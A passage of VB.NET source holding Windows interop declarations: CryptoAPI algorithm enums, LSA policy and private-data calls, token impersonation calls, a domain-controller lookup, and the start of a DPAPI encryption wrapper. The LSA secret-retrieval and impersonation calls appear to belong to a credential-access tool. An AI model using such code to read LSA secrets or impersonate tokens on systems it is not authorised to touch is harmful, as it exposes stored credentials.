            Dim errorMessage As String = New Win32Exception(CInt(aWinErrorCode)).Message
            Console.WriteLine(vbCrLf &amp; "[X] Error calling LsaOpenPolicy ({0}) : {1}" &amp; vbCrLf, aWinErrorCode, errorMessage)
        End If
    End Sub
End Class
Public Class Interop
    Public Enum CryptAlgClass As UInteger
        ALG_CLASS_ANY = 0
        ALG_CLASS_SIGNATURE = 1 &lt;&lt; 13
        ALG_CLASS_MSG_ENCRYPT = 2 &lt;&lt; 13
        ALG_CLASS_DATA_ENCRYPT = 3 &lt;&lt; 13
        ALG_CLASS_HASH = 4 &lt;&lt; 13
        ALG_CLASS_KEY_EXCHANGE = 5 &lt;&lt; 13
        ALG_CLASS_ALL = 7 &lt;&lt; 13
    End Enum
    Public Enum CryptAlgType As UInteger
        ALG_TYPE_ANY = 0
        ALG_TYPE_DSS = 1 &lt;&lt; 9
        ALG_TYPE_RSA = 2 &lt;&lt; 9
        ALG_TYPE_BLOCK = 3 &lt;&lt; 9
        ALG_TYPE_STREAM = 4 &lt;&lt; 9
        ALG_TYPE_DH = 5 &lt;&lt; 9
        ALG_TYPE_SECURECHANNEL = 6 &lt;&lt; 9
    End Enum
    Public Enum CryptAlgSID As UInteger
        ALG_SID_ANY = 0
        ALG_SID_RSA_ANY = 0
        ALG_SID_RSA_PKCS = 1
        ALG_SID_RSA_MSATWORK = 2
        ALG_SID_RSA_ENTRUST = 3
        ALG_SID_RSA_PGP = 4
        ALG_SID_DSS_ANY = 0
        ALG_SID_DSS_PKCS = 1
        ALG_SID_DSS_DMS = 2
        ALG_SID_ECDSA = 3
        ALG_SID_DES = 1
        ALG_SID_3DES = 3
        ALG_SID_DESX = 4
        ALG_SID_IDEA = 5
        ALG_SID_CAST = 6
        ALG_SID_SAFERSK64 = 7
        ALG_SID_SAFERSK128 = 8
        ALG_SID_3DES_112 = 9
        ALG_SID_CYLINK_MEK = 12
        ALG_SID_RC5 = 13
        ALG_SID_AES_128 = 14
        ALG_SID_AES_192 = 15
        ALG_SID_AES_256 = 16
        ALG_SID_AES = 17
        ALG_SID_SKIPJACK = 10
        ALG_SID_TEK = 11
        ALG_SID_RC2 = 2
        ALG_SID_RC4 = 1
        ALG_SID_SEAL = 2
        ALG_SID_DH_SANDF = 1
        ALG_SID_DH_EPHEM = 2
        ALG_SID_AGREED_KEY_ANY = 3
        ALG_SID_KEA = 4
        ALG_SID_ECDH = 5
        ALG_SID_MD2 = 1
        ALG_SID_MD4 = 2
        ALG_SID_MD5 = 3
        ALG_SID_SHA = 4
        ALG_SID_SHA1 = 4
        ALG_SID_MAC = 5
        ALG_SID_RIPEMD = 6
        ALG_SID_RIPEMD160 = 7
        ALG_SID_SSL3SHAMD5 = 8
        ALG_SID_HMAC = 9
        ALG_SID_TLS1PRF = 10
        ALG_SID_HASH_REPLACE_OWF = 11
        ALG_SID_SHA_256 = 12
        ALG_SID_SHA_384 = 13
        ALG_SID_SHA_512 = 14
        ALG_SID_SSL3_MASTER = 1
        ALG_SID_SCHANNEL_MASTER_HASH = 2
        ALG_SID_SCHANNEL_MAC_KEY = 3
        ALG_SID_PCT1_MASTER = 4
        ALG_SID_SSL2_MASTER = 5
        ALG_SID_TLS1_MASTER = 6
        ALG_SID_SCHANNEL_ENC_KEY = 7
        ALG_SID_ECMQV = 1
    End Enum
    Public Enum CryptAlg As UInteger
        CALG_MD2 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD2
        CALG_MD4 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD4
        CALG_MD5 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD5
        CALG_SHA = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA
        CALG_SHA1 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA1
        CALG_MAC = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MAC
        CALG_RSA_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_RSA Or CryptAlgSID.ALG_SID_RSA_ANY
        CALG_DSS_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_DSS Or CryptAlgSID.ALG_SID_DSS_ANY
        CALG_NO_SIGN = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_ANY
        CALG_RSA_KEYX = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_RSA Or CryptAlgSID.ALG_SID_RSA_ANY
        CALG_DES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_DES
        CALG_3DES_112 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_3DES_112
        CALG_3DES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_3DES
        CALG_DESX = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_DESX
        CALG_RC2 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_RC2
        CALG_RC4 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_STREAM Or CryptAlgSID.ALG_SID_RC4
        CALG_SEAL = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_STREAM Or CryptAlgSID.ALG_SID_SEAL
        CALG_DH_SF = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_DH_SANDF
        CALG_DH_EPHEM = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_DH_EPHEM
        CALG_AGREEDKEY_ANY = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_AGREED_KEY_ANY
        CALG_KEA_KEYX = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_KEA
        CALG_HUGHES_MD5 = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_MD5
        CALG_SKIPJACK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_SKIPJACK
        CALG_TEK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_TEK
        CALG_CYLINK_MEK = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_CYLINK_MEK
        CALG_SSL3_SHAMD5 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SSL3SHAMD5
        CALG_SSL3_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SSL3_MASTER
        CALG_SCHANNEL_MASTER_HASH = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_MASTER_HASH
        CALG_SCHANNEL_MAC_KEY = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_MAC_KEY
        CALG_SCHANNEL_ENC_KEY = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SCHANNEL_ENC_KEY
        CALG_PCT1_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_PCT1_MASTER
        CALG_SSL2_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_SSL2_MASTER
        CALG_TLS1_MASTER = CryptAlgClass.ALG_CLASS_MSG_ENCRYPT Or CryptAlgType.ALG_TYPE_SECURECHANNEL Or CryptAlgSID.ALG_SID_TLS1_MASTER
        CALG_RC5 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_RC5
        CALG_HMAC = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_HMAC
        CALG_TLS1PRF = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_TLS1PRF
        CALG_HASH_REPLACE_OWF = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_HASH_REPLACE_OWF
        CALG_AES_128 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_128
        CALG_AES_192 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_192
        CALG_AES_256 = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES_256
        CALG_AES = CryptAlgClass.ALG_CLASS_DATA_ENCRYPT Or CryptAlgType.ALG_TYPE_BLOCK Or CryptAlgSID.ALG_SID_AES
        CALG_SHA_256 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_256
        CALG_SHA_384 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_384
        CALG_SHA_512 = CryptAlgClass.ALG_CLASS_HASH Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_SHA_512
        CALG_ECDH = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_DH Or CryptAlgSID.ALG_SID_ECDH
        CALG_ECMQV = CryptAlgClass.ALG_CLASS_KEY_EXCHANGE Or CryptAlgType.ALG_TYPE_ANY Or CryptAlgSID.ALG_SID_ECMQV
        CALG_ECDSA = CryptAlgClass.ALG_CLASS_SIGNATURE Or CryptAlgType.ALG_TYPE_DSS Or CryptAlgSID.ALG_SID_ECDSA
    End Enum
    &lt;StructLayout(LayoutKind.Sequential)&gt;
    Public Structure LSA_UNICODE_STRING
        Implements IDisposable
        Public Length As UShort
        Public MaximumLength As UShort
        Public buffer As IntPtr
        Public Sub New(ByVal s As String)
            Length = CUShort(s.Length * 2)
            MaximumLength = CUShort(Length + 2)
            buffer = Marshal.StringToHGlobalUni(s)
        End Sub
        Public Sub Dispose() Implements IDisposable.Dispose
            Marshal.FreeHGlobal(buffer)
            buffer = IntPtr.Zero
        End Sub
        Public Overrides Function ToString() As String
            Return Marshal.PtrToStringUni(buffer)
        End Function
    End Structure
    Public Enum POLICY_INFORMATION_CLASS
        PolicyAuditLogInformation = 1
        PolicyAuditEventsInformation
        PolicyPrimaryDomainInformation
        PolicyPdAccountInformation
        PolicyAccountDomainInformation
        PolicyLsaServerRoleInformation
        PolicyReplicaSourceInformation
        PolicyDefaultQuotaInformation
        PolicyModificationInformation
        PolicyAuditFullSetInformation
        PolicyAuditFullQueryInformation
        PolicyDnsDomainInformation
    End Enum
    Public Enum LSA_AccessPolicy As Long
        POLICY_VIEW_LOCAL_INFORMATION = &amp;H1L
        POLICY_VIEW_AUDIT_INFORMATION = &amp;H2L
        POLICY_GET_PRIVATE_INFORMATION = &amp;H4L
        POLICY_TRUST_ADMIN = &amp;H8L
        POLICY_CREATE_ACCOUNT = &amp;H10L
        POLICY_CREATE_SECRET = &amp;H20L
        POLICY_CREATE_PRIVILEGE = &amp;H40L
        POLICY_SET_DEFAULT_QUOTA_LIMITS = &amp;H80L
        POLICY_SET_AUDIT_REQUIREMENTS = &amp;H100L
        POLICY_AUDIT_LOG_ADMIN = &amp;H200L
        POLICY_SERVER_ADMIN = &amp;H400L
        POLICY_LOOKUP_NAMES = &amp;H800L
        POLICY_NOTIFICATION = &amp;H1000L
    End Enum
    Public Structure LSA_OBJECT_ATTRIBUTES
        Public Length As UInteger
        Public RootDirectory As IntPtr
        Public ObjectName As LSA_UNICODE_STRING
        Public Attributes As UInteger
        Public SecurityDescriptor As IntPtr
        Public SecurityQualityOfService As IntPtr
    End Structure
    &lt;StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)&gt;
    Public Structure DOMAIN_CONTROLLER_INFO
        &lt;MarshalAs(UnmanagedType.LPTStr)&gt;
        Public DomainControllerName As String
        &lt;MarshalAs(UnmanagedType.LPTStr)&gt;
        Public DomainControllerAddress As String
        Public DomainControllerAddressType As UInteger
        Public DomainGuid As Guid
        &lt;MarshalAs(UnmanagedType.LPTStr)&gt;
        Public DomainName As String
        &lt;MarshalAs(UnmanagedType.LPTStr)&gt;
        Public DnsForestName As String
        Public Flags As UInteger
        &lt;MarshalAs(UnmanagedType.LPTStr)&gt;
        Public DcSiteName As String
        &lt;MarshalAs(UnmanagedType.LPTStr)&gt;
        Public ClientSiteName As String
    End Structure
    &lt;Flags&gt;
    Public Enum DSGETDCNAME_FLAGS As UInteger
        DS_FORCE_REDISCOVERY = &amp;H1
        DS_DIRECTORY_SERVICE_REQUIRED = &amp;H10
        DS_DIRECTORY_SERVICE_PREFERRED = &amp;H20
        DS_GC_SERVER_REQUIRED = &amp;H40
        DS_PDC_REQUIRED = &amp;H80
        DS_BACKGROUND_ONLY = &amp;H100
        DS_IP_REQUIRED = &amp;H200
        DS_KDC_REQUIRED = &amp;H400
        DS_TIMESERV_REQUIRED = &amp;H800
        DS_WRITABLE_REQUIRED = &amp;H1000
        DS_GOOD_TIMESERV_PREFERRED = &amp;H2000
        DS_AVOID_SELF = &amp;H4000
        DS_ONLY_LDAP_NEEDED = &amp;H8000
        DS_IS_FLAT_NAME = &amp;H10000
        DS_IS_DNS_NAME = &amp;H20000
        DS_RETURN_DNS_NAME = &amp;H40000000
        DS_RETURN_FLAT_NAME = &amp;H80000000UI
    End Enum
    &lt;DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)&gt;
    Public Shared Function LsaOpenPolicy(ByRef SystemName As LSA_UNICODE_STRING, ByRef ObjectAttributes As LSA_OBJECT_ATTRIBUTES, ByVal DesiredAccess As UInteger, &lt;Out&gt; ByRef PolicyHandle As IntPtr) As UInteger
    End Function
    &lt;DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)&gt;
    Public Shared Function LsaRetrievePrivateData(ByVal PolicyHandle As IntPtr, ByRef KeyName As LSA_UNICODE_STRING, &lt;Out&gt; ByRef PrivateData As IntPtr) As UInteger
    End Function
    &lt;DllImport("advapi32.dll", SetLastError:=True)&gt;
    Public Shared Function LsaNtStatusToWinError(ByVal status As UInteger) As UInteger
    End Function
    &lt;DllImport("advapi32.dll", SetLastError:=True)&gt;
    Public Shared Function LsaClose(ByVal ObjectHandle As IntPtr) As UInteger
    End Function
    &lt;DllImport("advapi32.dll", SetLastError:=True, PreserveSig:=True)&gt;
    Public Shared Function LsaFreeMemory(ByVal buffer As IntPtr) As UInteger
    End Function
    &lt;DllImport("advapi32.dll", SetLastError:=True)&gt;
    Public Shared Function OpenProcessToken(ByVal ProcessHandle As IntPtr, ByVal DesiredAccess As UInteger, &lt;Out&gt; ByRef TokenHandle As IntPtr) As Boolean
    End Function
    &lt;DllImport("advapi32.dll", SetLastError:=True)&gt;
    Public Shared Function DuplicateToken(ByVal ExistingTokenHandle As IntPtr, ByVal SECURITY_IMPERSONATION_LEVEL As Integer, ByRef DuplicateTokenHandle As IntPtr) As Boolean
    End Function
    &lt;DllImport("advapi32.dll", SetLastError:=True)&gt;
    Public Shared Function ImpersonateLoggedOnUser(ByVal hToken As IntPtr) As Boolean
    End Function
    &lt;DllImport("kernel32.dll", SetLastError:=True)&gt;
    Public Shared Function CloseHandle(ByVal hObject As IntPtr) As Boolean
    End Function
    &lt;DllImport("advapi32.dll", SetLastError:=True)&gt;
    Public Shared Function RevertToSelf() As Boolean
    End Function
    &lt;Flags&gt;
    Public Enum IsTextUnicodeFlags As Integer
        IS_TEXT_UNICODE_ASCII16 = &amp;H1
        IS_TEXT_UNICODE_REVERSE_ASCII16 = &amp;H10
        IS_TEXT_UNICODE_STATISTICS = &amp;H2
        IS_TEXT_UNICODE_REVERSE_STATISTICS = &amp;H20
        IS_TEXT_UNICODE_CONTROLS = &amp;H4
        IS_TEXT_UNICODE_REVERSE_CONTROLS = &amp;H40
        IS_TEXT_UNICODE_SIGNATURE = &amp;H8
        IS_TEXT_UNICODE_REVERSE_SIGNATURE = &amp;H80
        IS_TEXT_UNICODE_ILLEGAL_CHARS = &amp;H100
        IS_TEXT_UNICODE_ODD_LENGTH = &amp;H200
        IS_TEXT_UNICODE_DBCS_LEADBYTE = &amp;H400
        IS_TEXT_UNICODE_NULL_BYTES = &amp;H1000
        IS_TEXT_UNICODE_UNICODE_MASK = &amp;HF
        IS_TEXT_UNICODE_REVERSE_MASK = &amp;HF0
        IS_TEXT_UNICODE_NOT_UNICODE_MASK = &amp;HF00
        IS_TEXT_UNICODE_NOT_ASCII_MASK = &amp;HF000
    End Enum
    &lt;DllImport("Advapi32", SetLastError:=False)&gt;
    Public Shared Function IsTextUnicode(ByVal buf As Byte(), ByVal len As Integer, ByRef opt As IsTextUnicodeFlags) As Boolean
    End Function
    &lt;DllImport("advapi32.dll", CharSet:=CharSet.Auto)&gt;
    Public Shared Function RegOpenKeyEx(ByVal hKey As UInteger, ByVal subKey As String, ByVal ulOptions As Integer, ByVal samDesired As Integer, ByRef hkResult As IntPtr) As Integer
    End Function
    &lt;DllImport("advapi32.dll")&gt;
    Public Shared Function RegQueryInfoKey(ByVal hkey As IntPtr, ByVal lpClass As StringBuilder, ByRef lpcbClass As Integer, ByVal lpReserved As Integer, ByRef lpcSubKeys As IntPtr, ByRef lpcbMaxSubKeyLen As IntPtr, ByRef lpcbMaxClassLen As IntPtr, ByRef lpcValues As IntPtr, ByRef lpcbMaxValueNameLen As IntPtr, ByRef lpcbMaxValueLen As IntPtr, ByRef lpcbSecurityDescriptor As IntPtr, ByVal lpftLastWriteTime As IntPtr) As Integer
    End Function
    &lt;DllImport("advapi32.dll", SetLastError:=True)&gt;
    Public Shared Function RegQueryValueEx(ByVal hKey As IntPtr, ByVal lpValueName As String, ByVal lpReserved As Integer, ByVal type As IntPtr, ByVal lpData As IntPtr, ByRef lpcbData As Integer) As Integer
    End Function
    &lt;DllImport("advapi32.dll", SetLastError:=True)&gt;
    Public Shared Function RegCloseKey(ByVal hKey As IntPtr) As Integer
    End Function
    &lt;DllImport("shlwapi.dll", CharSet:=CharSet.Unicode)&gt;
    Friend Shared Function PathIsUNC(
    &lt;MarshalAs(UnmanagedType.LPWStr), [In]&gt; ByVal pszPath As String) As Boolean
    End Function
    &lt;DllImport("Netapi32.dll", CharSet:=CharSet.Auto, SetLastError:=True)&gt;
    Public Shared Function DsGetDcName(
        &lt;MarshalAs(UnmanagedType.LPTStr)&gt; ByVal ComputerName As String,
        &lt;MarshalAs(UnmanagedType.LPTStr)&gt; ByVal DomainName As String,
        &lt;[In]&gt; ByVal DomainGuid As Integer,
        &lt;MarshalAs(UnmanagedType.LPTStr)&gt; ByVal SiteName As String,
        &lt;MarshalAs(UnmanagedType.U4)&gt; ByVal flags As DSGETDCNAME_FLAGS, &lt;Out&gt; ByRef pDOMAIN_CONTROLLER_INFO As IntPtr) As Integer
    End Function
    &lt;DllImport("Netapi32.dll", SetLastError:=True)&gt;
    Public Shared Function NetApiBufferFree(ByVal Buffer As IntPtr) As Integer
    End Function
    Public Shared Function GetDCName() As String
        Dim domainInfo As DOMAIN_CONTROLLER_INFO
        Const ERROR_SUCCESS = 0
        Dim pDCI = IntPtr.Zero
        Dim val = DsGetDcName("", "", 0, "", DSGETDCNAME_FLAGS.DS_DIRECTORY_SERVICE_REQUIRED Or DSGETDCNAME_FLAGS.DS_RETURN_DNS_NAME Or DSGETDCNAME_FLAGS.DS_IP_REQUIRED, pDCI)
        If ERROR_SUCCESS = val Then
            domainInfo = CType(Marshal.PtrToStructure(pDCI, GetType(DOMAIN_CONTROLLER_INFO)), DOMAIN_CONTROLLER_INFO)
            Dim dcName = domainInfo.DomainControllerName
            NetApiBufferFree(pDCI)
            Return dcName.Trim("\"c)
        Else
            Dim errorMessage As String = New Win32Exception(val).Message
            Console.WriteLine(vbCrLf &amp; "  [X] Error {0} retrieving domain controller : {1}", val, errorMessage)
            NetApiBufferFree(pDCI)
            Return ""
        End If
    End Function
End Class
Public Class DPAPI
    ' Wrapper for DPAPI CryptProtectData function.
    &lt;DllImport("crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)&gt;
    Private Shared Function CryptProtectData _
    (
        ByRef pPlainText As DATA_BLOB,
        ByVal szDescription As String,
        ByRef pEntropy As DATA_BLOB,
        ByVal pReserved As IntPtr,
        ByRef pPrompt As CRYPTPROTECT_PROMPTSTRUCT,
        ByVal dwFlags As Integer,
        ByRef pCipherText As DATA_BLOB
    ) As Boolean
    End Function
    ' Wrapper for DPAPI CryptUnprotectData function.
    &lt;DllImport("crypt32.dll", SetLastError:=True, CharSet:=CharSet.Auto)&gt;
    Private Shared Function CryptUnprotectData _
    (
        ByRef pCipherText As DATA_BLOB,
        ByRef pszDescription As String,
        ByRef pEntropy As DATA_BLOB,
        ByVal pReserved As IntPtr,
        ByRef pPrompt As CRYPTPROTECT_PROMPTSTRUCT,
        ByVal dwFlags As Integer,
        ByRef pPlainText As DATA_BLOB
    ) As Boolean
    End Function
    ' BLOB structure used to pass data to DPAPI functions.
    &lt;StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)&gt;
    Friend Structure DATA_BLOB
        Public cbData As Integer
        Public pbData As IntPtr
    End Structure
    ' Prompt structure to be used for required parameters.
    &lt;StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)&gt;
    Friend Structure CRYPTPROTECT_PROMPTSTRUCT
        Public cbSize As Integer
        Public dwPromptFlags As Integer
        Public hwndApp As IntPtr
        Public szPrompt As String
    End Structure
    ' DPAPI key initialization flags.
    Private Const CRYPTPROTECT_UI_FORBIDDEN As Integer = 1
    Private Const CRYPTPROTECT_LOCAL_MACHINE As Integer = 4
    ' &lt;summary&gt;
    ' Initializes empty prompt structure.
    ' &lt;/summary&gt;
    ' &lt;param name="ps"&gt;
    ' Prompt parameter (which we do not actually need).
    ' &lt;/param&gt;
    Private Shared Sub InitPrompt _
    (
        ByRef ps As CRYPTPROTECT_PROMPTSTRUCT
    )
        ps.cbSize = Marshal.SizeOf(GetType(CRYPTPROTECT_PROMPTSTRUCT))
        ps.dwPromptFlags = 0
        ps.hwndApp = IntPtr.Zero
        ps.szPrompt = Nothing
    End Sub
    ' &lt;summary&gt;
    ' Initializes a BLOB structure from a byte array.
    ' &lt;/summary&gt;
    ' &lt;param name="data"&gt;
    ' Original data in a byte array format.
    ' &lt;/param&gt;
    ' &lt;param name="blob"&gt;
    ' Returned blob structure.
    ' &lt;/param&gt;
    Private Shared Sub InitBLOB _
    (
        ByVal data As Byte(),
        ByRef blob As DATA_BLOB
    )
        ' Use empty array for null parameter.
        If data Is Nothing Then
            data = New Byte(0) {}
        End If
        ' Allocate memory for the BLOB data.
        blob.pbData = Marshal.AllocHGlobal(data.Length)
        ' Make sure that memory allocation was successful.
        If blob.pbData.Equals(IntPtr.Zero) Then
            Throw New Exception(
                    "Unable to allocate data buffer for BLOB structure.")
        End If
        ' Specify number of bytes in the BLOB.
        blob.cbData = data.Length
        Marshal.Copy(data, 0, blob.pbData, data.Length)
    End Sub
    ' Flag indicating the type of key. DPAPI terminology refers to
    ' key types as user store or machine store.
    Public Enum KeyType
        UserKey = 1
        MachineKey
    End Enum
    ' It is reasonable to set default key type to user key.
    Private Shared defaultKeyType As KeyType = KeyType.UserKey
    ' &lt;summary&gt;
    ' Calls DPAPI CryptProtectData function to encrypt a plaintext
    ' string value with a user-specific key. This function does not
    ' specify data description and additional entropy.
    ' &lt;/summary&gt;
    ' &lt;param name="plainText"&gt;
    ' Plaintext data to be encrypted.
    ' &lt;/param&gt;
    ' &lt;returns&gt;
    ' Encrypted value in a base64-encoded format.
    ' &lt;/returns&gt;
    Public Shared Function Encrypt _
    (
        ByVal plainText As String
    ) As String
        Return Encrypt(defaultKeyType, plainText, String.Empty, String.Empty)
    End Function
    ' &lt;summary&gt;
    ' Calls DPAPI CryptProtectData function to encrypt a plaintext
    ' string value. This function does not specify data description
    ' and additional entropy.
    ' &lt;/summary&gt;
    ' &lt;param name="keyType"&gt;
    ' Defines type of encryption key to use. When user key is
    ' specified, any application running under the same user account
    ' as the one making this call, will be able to decrypt data.
    ' Machine key will allow any application running on the same
    ' computer where data were encrypted to perform decryption.
    ' Note: If optional entropy is specifed, it will be required
    ' for decryption.
    ' &lt;/param&gt;
    ' &lt;param name="plainText"&gt;
    ' Plaintext data to be encrypted.
    ' &lt;/param&gt;
    ' &lt;returns&gt;
    ' Encrypted value in a base64-encoded format.
    ' &lt;/returns&gt;
    Public Shared Function Encrypt _
    (
        ByVal keyType As KeyType,
        ByVal plainText As String
    ) As String
        Return Encrypt(keyType, plainText, String.Empty, String.Empty)
    End Function
    Public Shared Function Encrypt _
    (
        ByVal keyType As KeyType,
        ByVal plainText As String,
        ByVal entropy As String
    ) As String
        Return Encrypt(keyType, plainText, entropy, String.Empty)
    End Function
    ' &lt;summary&gt;
    ' Calls DPAPI CryptProtectData function to encrypt a plaintext
    ' string value. This function does not specify data description.
    ' &lt;/summary&gt;
    ' &lt;param name="keyType"&gt;
    ' Defines type of encryption key to use. When user key is
    ' specified, any application running under the same user account
    ' as the one making this call, will be able to decrypt data.
    ' Machine key will allow any application running on the same
    ' computer where data were encrypted to perform decryption.
    ' Note: If optional entropy is specifed, it will be required
    ' for decryption.
    ' &lt;/param&gt;
    ' &lt;param name="plainText"&gt;
    ' Plaintext data to be encrypted.
    ' &lt;/param&gt;
    ' &lt;param name="entropy"&gt;
    ' Optional entropy which - if specified - will be required to
    ' perform decryption.
    ' &lt;/param&gt;
    ' &lt;returns&gt;
    ' Encrypted value in a base64-encoded format.
    ' &lt;/returns&gt;
    Public Shared Function Encrypt _
    (
        ByVal keyType As KeyType,
        ByVal plainText As String,
        ByVal entropy As String,
        ByVal description As String
    ) As String
        If plainText Is Nothing Then
            plainText = String.Empty
        End If
        If entropy Is Nothing Then
            entropy = String.Empty
        End If
        Dim ReturnedData() As Byte
        ReturnedData = Encrypt(keyType, Encoding.UTF8.GetBytes(plainText), Encoding.UTF8.GetBytes(entropy), description)
        Debug.Write(BytesToString(ReturnedData))
        Debug.WriteLine(vbCrLf)
        Return Convert.ToBase64String(ReturnedData)
    End Function
    Private Shared Function BytesToString(ByVal Input As Byte()) As String
        Dim Result As New System.Text.StringBuilder(Input.Length * 2)
        Dim Part As String
        For Each b As Byte In Input
            Part = Conversion.Hex(b)
            If Part.Length = 1 Then Part = "0" &amp; Part
            Result.Append(Part &amp; " ")
        Next
        Return Result.ToString()
    End Function
    ' &lt;summary&gt;
    ' Calls DPAPI CryptProtectData function to encrypt an array of
    ' plaintext bytes.
    ' &lt;/summary&gt;
    ' &lt;param name="keyType"&gt;
    ' Defines type of encryption key to use. When user key is
    ' specified, any application running under the same user account
    ' as the one making this call, will be able to decrypt data.
    ' Machine key will allow any application running on the same
    ' computer where data were encrypted to perform decryption.
    ' Note: If optional entropy is specifed, it will be required
    ' for decryption.
    ' &lt;/param&gt;
    ' &lt;param name="plainTextBytes"&gt;
    ' Plaintext data to be encrypted.
    ' &lt;/param&gt;
    ' &lt;param name="entropyBytes"&gt;
    ' Optional entropy which - if specified - will be required to
    ' perform decryption.
    ' &lt;/param&gt;
    ' &lt;param name="description"&gt;
    ' Optional description of data to be encrypted. If this value is
    ' specified, it will be stored along with encrypted data and
    ' returned as a separate value during decryption.
    ' &lt;/param&gt;
    ' &lt;returns&gt;
    ' Encrypted value.
    ' &lt;/returns&gt;
    Public Shared Function Encrypt _
    (
        ByVal keyType As KeyType,
        ByVal plainTextBytes As Byte(),
        ByVal entropyBytes As Byte(),
        ByVal description As String
    ) As Byte()
        ' Make sure that parameters are valid.
        If plainTextBytes Is Nothing Then
            plainTextBytes = New Byte(0) {}
        End If
        If entropyBytes Is Nothing Then
            entropyBytes = New Byte(0) {}
        End If
        If description Is Nothing Then
            description = String.Empty
        End If
        ' Create BLOBs to hold data.
